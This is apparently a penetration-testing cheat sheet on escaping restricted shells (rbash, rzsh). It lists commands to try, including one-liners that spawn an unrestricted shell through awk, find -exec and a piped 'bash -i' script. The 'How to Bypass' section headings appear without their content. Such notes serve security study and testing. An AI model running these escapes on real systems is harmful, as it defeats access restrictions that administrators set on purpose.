Restricted Shell (rbash, rzsh) Bypass
-rbash: cd: restricted
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command namesCommand Enumeration
awk 'BEGIN {system("/bin/sh")}'
bash
cat
cd
cp
declare
echo
echo $PATH
echo $SHELL
echo /usr/bin/*
echo /home/<username>/bin/*
echo "bash -i" | tee rbypass.sh
env
export
find
find / -name foobar -exec /bin/sh \;
ftp
git
less
ls
nano
nmap
printenv
printf
# List all files in current directory
printf '%s\n' *(D)
pwd
set
sudo
sudo -l
tar
touch
vi
vim
whereis
which
whoami
zip
# Programming languages
perl
php
python
python2
python3
python3.x
ruby
# Commands with absolute path
/bin/bash
/bin/sh
/usr/bin/cat
/usr/bin/ls
# Special characters
>
>>
<
|
&
$
$(whoami)
;
:
'
"
`How to Bypass
Update Environment Variables
Autocomplete to List Directories
Copy Shell Command
List/Read Files
Nmap
Vi/Vim Editor
SSH Flags
References
Last updated